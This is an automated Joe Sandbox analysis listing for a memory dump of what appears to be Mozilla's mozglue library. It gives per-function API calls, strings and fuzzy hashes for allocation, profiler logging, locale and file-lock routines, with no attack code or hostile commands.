Opcode Fuzzy Hash: a587bef126b9a0bc5a310de1909375f17953702deec3efae8ac663c547fa6940
Instruction Fuzzy Hash: FA61E432F04A068FCB08CB68C88976E77B5AF95318F694239E524B7A84D770E950CB91

Function 6C9548E0 Relevance: 13.7, APIs: 9, Instructions: 198COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(8E8DFFFF,?,6C99483A,?), ref: 6C954ACB
memcpy.VCRUNTIME140(-00000023,?,8E8DFFFF,?,?,6C99483A,?), ref: 6C954AE0
moz_xmalloc.MOZGLUE(FFFE15BF,?,6C99483A,?), ref: 6C954A82

Part of subcall function 6C96CA10: mozalloc_abort.MOZGLUE(?), ref: 6C96CAA2

memcpy.VCRUNTIME140(-00000023,?,FFFE15BF,?,?,6C99483A,?), ref: 6C954A97
moz_xmalloc.MOZGLUE(15D4E801,?,6C99483A,?), ref: 6C954A35

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

memcpy.VCRUNTIME140(-00000023,?,15D4E801,?,?,6C99483A,?), ref: 6C954A4A
moz_xmalloc.MOZGLUE(15D4E824,?,6C99483A,?), ref: 6C954AF4
moz_xmalloc.MOZGLUE(FFFE15E2,?,6C99483A,?), ref: 6C954B10
moz_xmalloc.MOZGLUE(8E8E0022,?,6C99483A,?), ref: 6C954B2C

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: moz_xmalloc$memcpy$mallocmozalloc_abort
String ID:
API String ID: 4251373892-0
Opcode ID: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction ID: c836c6404b59a98b96fd366800bf56677edf28e9e2258f747483ae3a99bfd716
Opcode Fuzzy Hash: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction Fuzzy Hash: 9E716AB19007469FCB94CF68C490AAAB7F5FF18308B504A3EE15A9BF41E731E565CB81

Function 6C9A9D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C9A8273), ref: 6C9A9D65
free.MOZGLUE(6C9A8273,?), ref: 6C9A9D7C
free.MOZGLUE(?,?), ref: 6C9A9D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C9A9E0F
free.MOZGLUE(6C9A946B,?,?), ref: 6C9A9E24
free.MOZGLUE(?,?,?), ref: 6C9A9E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C9A9EC8
free.MOZGLUE(6C9A946B,?,?,?), ref: 6C9A9EDF
free.MOZGLUE(?,?,?,?), ref: 6C9A9EF5

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: ea87678850254c977f1749df3b1565b7a4f658cbc270e975dbc3f1d92ae8ce37
Instruction ID: cc66e0434c47908e726fe05c1e405c7b9c056a102bd7088a109864a2d0e3a87c
Opcode Fuzzy Hash: ea87678850254c977f1749df3b1565b7a4f658cbc270e975dbc3f1d92ae8ce37
Instruction Fuzzy Hash: 6271C0B090AB419BD712CF58C48055BF3F4FFA9315B558619E84A5BB02EB31E8C6CB91

Function 6C9ADDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C9ADDCF

Part of subcall function 6C98FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C98FA4B

Part of subcall function 6C9A90E0: free.MOZGLUE(?,00000000,?,?,6C9ADEDB), ref: 6C9A90FF
Part of subcall function 6C9A90E0: free.MOZGLUE(?,00000000,?,?,6C9ADEDB), ref: 6C9A9108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9ADE0D
free.MOZGLUE(00000000), ref: 6C9ADE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9ADE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9ADEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9ADEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C99DEFD,?,6C964A68), ref: 6C9ADF32

Part of subcall function 6C9ADAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C9ADB86
Part of subcall function 6C9ADAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C9ADC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C99DEFD,?,6C964A68), ref: 6C9ADF65
free.MOZGLUE(?), ref: 6C9ADF80

Part of subcall function 6C975E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C975EDB
Part of subcall function 6C975E90: memset.VCRUNTIME140(6C9B7765,000000E5,55CCCCCC), ref: 6C975F27
Part of subcall function 6C975E90: LeaveCriticalSection.KERNEL32(?), ref: 6C975FB2

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: 02ac4593aad7038780de6ae4d8bb78bda0d6a179f01ddf464bcc15fa01e07d48
Instruction ID: 07a09c6d8a3f1bb89c0f9a03b58a6716fb9ee755bcb51460da20ac7cc5e3b0ad
Opcode Fuzzy Hash: 02ac4593aad7038780de6ae4d8bb78bda0d6a179f01ddf464bcc15fa01e07d48
Instruction Fuzzy Hash: E751C8736056119BD7219B98C8806AFB376BFA5308FA5051CDC5A63B00D731F95BCB92

Function 6C9B5D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C9B5C8C,?,6C98E829), ref: 6C9B5D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C9B5C8C,?,6C98E829), ref: 6C9B5D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C9B5C8C,?,6C98E829), ref: 6C9B5D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C9B5C8C,?,6C98E829), ref: 6C9B5D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C9B5C8C,?,6C98E829), ref: 6C9B5DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C9B5C8C,?,6C98E829), ref: 6C9B5DC9
std::_Facet_Register.LIBCPMT ref: 6C9B5DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C9B5C8C,?,6C98E829), ref: 6C9B5E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C9B5C8C,?,6C98E829), ref: 6C9B5E45

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 6cdb6995b18dd274a150c42f0f20349e94a623352bb42e798adf628be66697aa
Instruction ID: 986482af42913d889fa8551e66f2f1c07d4f3915cc1bd64038be01e92479de3a
Opcode Fuzzy Hash: 6cdb6995b18dd274a150c42f0f20349e94a623352bb42e798adf628be66697aa
Instruction Fuzzy Hash: 6441A270704304AFDB00DFA5C898AAE77BAEF9D314F144168E50AAB791DB30ED45CB61

Function 6C98CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C9531A7), ref: 6C98CDDD

Strings

<jemalloc>, xrefs: 6C98CF9F, 6C98CFB3
: (malloc) Error in VirtualFree(), xrefs: 6C98CFA4, 6C98CFB8

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: d4d94462557eb4c16de0f024706ee42737e2311de7f3f47aa71b0c93b0f13eda
Instruction ID: 5a446591d9664db63465df0601bcf780b2761a0262ced7f2eb7ce6c0ce538875
Opcode Fuzzy Hash: d4d94462557eb4c16de0f024706ee42737e2311de7f3f47aa71b0c93b0f13eda
Instruction Fuzzy Hash: FB31A5317466055BFB00AFA98C45BAE7B79BB41B54F304A18F614FBA80DB70E8508BA1

Function 6C95ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C95F100: LoadLibraryW.KERNEL32(shell32,?,6C9CD020), ref: 6C95F122
Part of subcall function 6C95F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C95F132

moz_xmalloc.MOZGLUE(00000012), ref: 6C95ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C95EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C95EDCC
CreateFileW.KERNEL32 ref: 6C95EE08
free.MOZGLUE(00000000), ref: 6C95EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C95EE32

Part of subcall function 6C95EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C95EBB5
Part of subcall function 6C95EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C98D7F3), ref: 6C95EBC3
Part of subcall function 6C95EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C98D7F3), ref: 6C95EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C95EDC1

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 82b52c9950e8b00268f52e43ebc1fca5abfa2a2c2ed291c31e56b6cce89361fc
Instruction ID: f8fcefda8028ca5365f535d4d4c7275449c6d16ec69aea3a88e6b11d8aaeb7d5
Opcode Fuzzy Hash: 82b52c9950e8b00268f52e43ebc1fca5abfa2a2c2ed291c31e56b6cce89361fc
Instruction Fuzzy Hash: 1E51E471E053048BDB01DF68D8446EEB7B4AF69318F84842DE85577780E736E998C7E2

Function 6C9CA520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C9CA565

Part of subcall function 6C9CA470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9CA4BE
Part of subcall function 6C9CA470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C9CA4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C9CA65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C9CA6B6

Strings

z, xrefs: 6C9CA6AE
0, xrefs: 6C9CA5FB

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 63754fb347472aa17635b7d9c80de5ab71e51f668a522b9ecf7f57ce7d98b1fb
Instruction ID: 39c2075a9108b021f6ccd9e90dc490614a935261fe4c86eba3e5406684d4ba8f
Opcode Fuzzy Hash: 63754fb347472aa17635b7d9c80de5ab71e51f668a522b9ecf7f57ce7d98b1fb
Instruction Fuzzy Hash: E1411571A097459FC341DF28C480A9EBBE5BF99354F408A2EF49987650EB30E649CB83

Function 6C9578C0 Relevance: 12.3, APIs: 8, Instructions: 320COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,6C9D008B), ref: 6C957B89
free.MOZGLUE(?,6C9D008B), ref: 6C957BAC

Part of subcall function 6C9578C0: free.MOZGLUE(?,6C9D008B), ref: 6C957BCF

free.MOZGLUE(?,6C9D008B), ref: 6C957BF2

Part of subcall function 6C975E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C975EDB
Part of subcall function 6C975E90: memset.VCRUNTIME140(6C9B7765,000000E5,55CCCCCC), ref: 6C975F27
Part of subcall function 6C975E90: LeaveCriticalSection.KERNEL32(?), ref: 6C975FB2

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeavememset
String ID:
API String ID: 3977402767-0
Opcode ID: c97dce9f88387437935dbfea9f53d543657e2f8a2f1422a251793a417184a63e
Instruction ID: 5c69b13714031e60bac5e4748cd1f4d6f840b54876e96ee0871369d76e72af8e
Opcode Fuzzy Hash: c97dce9f88387437935dbfea9f53d543657e2f8a2f1422a251793a417184a63e
Instruction Fuzzy Hash: BFC1D571E111288BEB24CB28CC90BADB772AF51314F9583A9D41AABBC0C731DF958F51

Function 6C999420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C98AB89: EnterCriticalSection.KERNEL32(6C9DE370,?,?,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284), ref: 6C98AB94
Part of subcall function 6C98AB89: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
__Init_thread_footer.LIBCMT ref: 6C99949F

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C99946B
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C99947D
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C999459

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 6b31bef862b1b3e34069b05751cd7b6a49fd42028fce8d7da1d07288b4c00fa5
Instruction ID: 0060e0053e48fd227103280c745b42c4851acb221d50019b609d9371d7c825ba
Opcode Fuzzy Hash: 6b31bef862b1b3e34069b05751cd7b6a49fd42028fce8d7da1d07288b4c00fa5
Instruction Fuzzy Hash: 24014C30A049008BDF009B5CD806A4933B99B4673EF1A8537DC0EA7B51D731F5E48957

Function 6C9A0F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9A0F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9A0F88
GetCurrentThreadId.KERNEL32 ref: 6C9A0FF7
InitializeConditionVariable.KERNEL32(?), ref: 6C9A1067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6C9A10A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6C9A114B

Part of subcall function 6C998AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C9B1563), ref: 6C998BD5

free.MOZGLUE(?), ref: 6C9A1174
free.MOZGLUE(?), ref: 6C9A1186

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: 462acd296da7f4db0e065d7a0398a44a1d8b4bfcb795dbb4eb983d3cab5ba282
Instruction ID: 648c00c2e434485eead290350164773a41767400858ae7ae70d9d001ba757811
Opcode Fuzzy Hash: 462acd296da7f4db0e065d7a0398a44a1d8b4bfcb795dbb4eb983d3cab5ba282
Instruction Fuzzy Hash: EB61C0756087409BDB10CF65C88079AB7F5BFE6308F14891DE88957711EB31E59ACB82

Function 6C95B630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C95B61E,?,?,?,?,?,00000000), ref: 6C95B6AC

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C95B61E,?,?,?,?,?,00000000), ref: 6C95B6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C95B61E,?,?,?,?,?,00000000), ref: 6C95B6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C95B61E,?,?,?,?,?,00000000), ref: 6C95B70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C95B61E,?,?,?,?,?,00000000), ref: 6C95B71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C95B61E), ref: 6C95B73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C95B61E,?,?,?,?,?,00000000), ref: 6C95B760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C95B61E,?,?,?,?,?,00000000), ref: 6C95B79A

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: b50c49a22703ef48f9547e91819f0578a03f93acfd9323d28725a1d177805fb5
Instruction ID: b516a2354dfa021fb43a24e7c9b1a939dac2c0a3959cf5535051a4fa64861aff
Opcode Fuzzy Hash: b50c49a22703ef48f9547e91819f0578a03f93acfd9323d28725a1d177805fb5
Instruction Fuzzy Hash: A441B4B2D001159FCB04DF68DC905AEBBB9BF54324F650629E825E7B80E731E9148BE2

Function 6C95EF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6C9D5104), ref: 6C95EFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C95EFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C95EFEC
free.MOZGLUE(?), ref: 6C95F00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C95F02E
memcpy.VCRUNTIME140(00000000,?), ref: 6C95F041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C95F065
moz_xmalloc.MOZGLUE ref: 6C95F072

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: 31615140a69075855072b725a9caeefa3ca0091c5be611c9ca1adb42af21a160
Instruction ID: 146f2bb342db8a7aa6bd0efe71a3012a5e293157081bace1c5bacf8673975fb6
Opcode Fuzzy Hash: 31615140a69075855072b725a9caeefa3ca0091c5be611c9ca1adb42af21a160
Instruction Fuzzy Hash: 4C41D8B1A001059FCB08CF78D8809BE7769AF94328B240228E825D7794EB31E925C7E1

Function 6C9CB540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C9CB5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C9CB5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C9CB5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C9CB5F4
__Init_thread_footer.LIBCMT ref: 6C9CB605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C9CB61F
std::_Facet_Register.LIBCPMT ref: 6C9CB631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9CB655

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: bab9a921b2db941f649d19ba83cea1f2c426f22f3eb5a88241d26960ebdfa2d5
